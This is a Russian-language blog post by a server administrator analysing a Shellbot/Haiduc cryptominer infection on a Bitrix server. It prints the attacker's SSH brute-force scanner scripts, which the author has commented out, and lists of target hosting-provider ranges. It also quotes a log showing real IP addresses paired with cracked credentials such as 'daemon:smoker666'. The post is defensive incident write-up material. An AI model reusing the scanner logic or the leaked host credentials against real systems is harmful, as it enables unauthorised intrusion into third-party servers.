5 дек. 2019 г.

Немного про shellbot / haiduc.

Тут будет немного из практики, поскольку хорошие разборы в сети есть тут и тут, например.

Вкратце: Shellbot / Haiduc, майнит крипту на вашем сайте и, судя по тем библиотекам, что он натащил с собой про запас, умеет быть и шифровальщиком. Спокойно меняет сложные рутовые пароли.

Итак, дано: "Битрикс" на Centos6.
Замечена аномальная загрузка ЦП на виртуалке.
Идем копаться:

root@dev# top

... и все, на первый взгляд, в норме, но чудес-то не бывает.

root@dev# find / -mtime 3

и видим, помимо прочего лишнего, что кто-то копался в /usr/local.
Идем туда и видим некие директории: /usr/local/src/x/ , содержащую набор исполняемых файлов a, co, hu, r, range , директорию classes и базы данных. Подробнее (само собой, строки мной закомментированы):

nano /usr/local/src/x/a

#!/bin/bash
#passfile=pass
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc

nano /usr/local/src/co

#!/bin/bash
#passfile=pass
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc

/usr/local/src/x/hu

#./co Choopa
#./co Microsoft
#./co Digital
#./co Amazon
#./co Ubiquity
#./co Softlayer
#./co Hetzner

nano /usr/local/src/x/range

#!/usr/bin/env bash
  1. check for presence of parameter
    #if [ -z $1 ]; then
    echo "Usage: lbl filename"
    exit 1
    #fi
  2. read the file into an array of lines
    declare -a lines
    #let count=0
    #while read line; do
  3. lines[$count]=$line
  4. let count=count+1
    #done < "$1"
  5. iterate lines of the file
    #count=0
    #for line in "${lines[@]}"; do
  6. let count=count+1
  7. eval ./a "$line"
    #done

nano /usr/local/src/x/r

#!/bin/bash
  1. ToNy | Frauda
    #while [ "1" ];do
    #class="
    #168
    #"
#classb="`seq 1 255`"
#classb2=($classb)
#num_classb=${#classb2[*]}
#b=${classb2[$((RANDOM%num_classb))]}
#classc="`seq 1 255`"
#classc2=($classc)
#num_classc=${#classc2[*]}
#c=${classc2[$((RANDOM%num_classc))]}
#classes=($class)
#num_class=${#classes[*]}
#a=${classes[$((RANDOM%num_class))]}
#echo "scanez clasa ${a}.${b}"
#./a ${a}.${c}
#done

cd /usr/local/src/x/classes

ls

21vianet Amazon Choopa Cogeco GoDaddy internap-com Microsoft OVH Softlayer websitewelcome-com
Akamai Apple cloudflare_inc Digital Google Linode mix pair_networks Ubiquity Yahoo_inc
Alibaba big co facebook Hetzner liquid_web Online-SAS RockSpace Verizon

Вот такой отличный набор.

Там же в /usr/local/src и в /usr/cpu/ были директории ./x и /x, дублер имеющейся.
Также \usr\libexec\pt_chown - занятный новый файл.
Также \etc\ssh\sshd_config содержит ссылку на несуществующий файл \usr\libexec\sftp_server

Вот кусочек вывода gasite.txt:

daemon:smoker666 104.238.177.213 port: 22 --> Linux svr04 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64 GNU/Linux
daemon:smoker666 132.148.4.178 port: 22 --> Linux server.suninfocom.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86_64 G$
bin:smoker666 132.148.22.2 port: 22 --> Linux s132-148-22-2.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86$
daemon:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.82.60 port: 22 --> Linux s166-62-127-99.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x$
bin:smoker666 132.148.157.166 port: 22 --> Linux s132-148-157-166.secureserver.net 3.10.0-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 $
daemon:smoker666 203.124.57.87 port: 22 -->
Please login:
daemon:smoker666 37.148.231.186 port: 22 -->
COM

daemon:smoker666 37.148.231.186 port: 22 -->
Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038
Thursday 21/11/2019 12:24:44 (UTC+1.00)
Login:
bin:smoker666 37.148.230.236 port: 22 -->

login as:
bin:smoker666 37.148.230.236 port: 22 --> b

login as:
bin:smoker666 37.148.230.236 port: 22 --> in

password:
bin:smoker666 37.148.230.236 port: 22 --> *n

password:
bin:smoker666 37.148.229.186 port: 22 -->
COM

Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038

и так далее.

Зараза довольно активная, даже после смены паролей я обнаруживаю, что некто делал нечто под рутом. Неудивительно, так как судя по статьям, Shellbot эксплуатирует системные уязвимости (например, в Git-е).
Все бы ничего, но нельзя просто так взять и обновить ось, на которой крутится неновый "Битрикс" - sapienti sat.

Ставим rkhunter и таки да, имеем shellbot в системе.

"Закат солнца вручную" малоэффективен, вас будет регулярно ломать робот.
Обновляйтесь, делайте бэкапы и не открывайте наружу лишнего, особо советую пробрасывать порт 22 на нестандарт.
Похоже, продолжение следует...